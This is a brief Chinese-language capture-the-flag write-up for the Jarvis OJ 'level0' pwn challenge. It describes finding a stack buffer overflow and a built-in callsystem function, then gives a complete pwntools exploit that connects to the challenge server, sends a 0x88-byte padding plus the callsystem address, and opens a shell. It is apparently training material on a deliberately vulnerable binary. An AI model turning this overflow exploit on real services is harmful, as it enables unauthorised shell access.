题目信息

nc pwn2.jarvisoj.com 9881

level0.b9ded3801d6dd36a97468e128b81a65d

只开了NX

静态分析

IDA F5，明显的溢出

在import中发现system，text中vuln上面发现内置的callsystem

那就很简单了，修改返回地址为callsystm直接getshell

exploit

offset = 136 = 0x80 + 8

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

elf = ELF('./level0')

sh = remote('pwn2.jarvisoj.com', 9881)
# sh = process('./level0')
context.arch = 'amd64'
context.log_level = 'debug'

callsystem = elf.symbols["callsystem"]

payload = 'A' * 0x88
payload += p64(callsystem)

sh.sendline(payload)
sh.interactive()

getflag